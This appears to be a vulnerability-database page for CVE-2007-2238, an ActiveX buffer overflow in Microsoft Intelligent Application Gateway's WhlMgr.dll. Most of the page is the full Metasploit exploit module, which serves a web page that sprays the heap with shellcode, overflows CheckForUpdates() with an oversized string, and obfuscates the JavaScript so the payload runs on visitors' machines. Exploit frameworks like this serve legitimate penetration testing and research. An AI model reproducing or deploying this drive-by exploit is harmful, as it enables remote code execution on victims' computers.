Microsoft Whale Intelligent Application Gateway - ActiveX Control Buffer Overflow (Metasploit)

🗓️ 09 May 2010 00:00:00Reported by MetasploitType

Microsoft Whale Intelligent Application Gateway ActiveX Control Buffer Overflow in WhlMgr.dll may allow execution of arbitrary code

Reporter	Title	Published	Views	Family All 13
Circl	CVE-2007-2238	9 May 201000:00	–	circl
CVE	CVE-2007-2238	16 Apr 200915:00	–	cve
Cvelist	CVE-2007-2238	16 Apr 200915:00	–	cvelist
d2	DSquare Exploit Pack: D2SEC_MSIAG	16 Apr 200915:12	–	d2
Kaspersky	KLA10392 ACE vulnerability in Microsoft Intelligent Application Gateway	16 Apr 200900:00	–	kaspersky
Metasploit	Microsoft Whale Intelligent Application Gateway ActiveX Control Buffer Overflow	15 Apr 200921:38	–	metasploit
NVD	CVE-2007-2238	16 Apr 200915:12	–	nvd
Packet Storm	Microsoft Whale Intelligent Application Gateway ActiveX Control Buffer Overflow	26 Nov 200900:00	–	packetstorm
Prion	Stack overflow	16 Apr 200915:12	–	prion
seebug.org	Microsoft IAG 2007 ActiveX控件栈溢出漏洞	16 Apr 200900:00	–	seebug

##
# $Id: mswhale_checkforupdates.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft Whale Intelligent Application Gateway ActiveX Control Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Microsoft Whale Intelligent Application
				Gateway Whale Client. When sending an overly long string to CheckForUpdates()
				method of WhlMgr.dll (3.1.502.64) an attacker may be able to execute
				arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'MC' ],
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2007-2238' ],
					[ 'OSVDB', '53933'],
					[ 'URL', 'http://technet.microsoft.com/en-us/library/dd282918.aspx' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'         => 1024,
					'BadChars'      => "\x00",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]
				],
			'DisclosureDate' => 'Apr 15 2009',
			'DefaultTarget'  => 0))
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)
		# Re-generate the payload.
		return if ((p = regenerate_payload(cli)) == nil)

		# fluff..
		fluff = rand_text_english(rand(20) + 1)

		# Encode the shellcode.
		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

		# Set the return.
		ret = Rex::Text.uri_encode(Metasm::Shellcode.assemble(Metasm::Ia32.new, "or cl,[edx]").encode_string * 2)

		js = %Q|
			try {
				var evil_string = "";
				var index;
				var vulnerable = new ActiveXObject('ComponentManager.Installer.1');
				var my_unescape = unescape;
				var shellcode = '#{shellcode}';
				#{js_heap_spray}
				sprayHeap(my_unescape(shellcode), 0x0a0a0a0a, 0x40000);
				for (index = 0; index < 15000; index++) {
					evil_string = evil_string + my_unescape('#{ret}');
				}
				vulnerable.CheckForUpdates(evil_string,'#{fluff}');
			} catch( e ) { window.location = 'about:blank' ; }
		|

		opts = {
			'Strings' => true,
			'Symbols' => {
				'Variables' => [
					'vulnerable',
					'shellcode',
					'my_unescape',
					'index',
					'evil_string',
				]
			}
		}
		js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
		js.update_opts(js_heap_spray.opts)
		js.obfuscate()
		content = %Q|<html>
<body>
<script><!--
#{js}
//</script>
</body>
</html>
|

		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end

09 May 2010 00:00Current

7High risk

Vulners AI Score7

CVSS 29.3

EPSS0.76519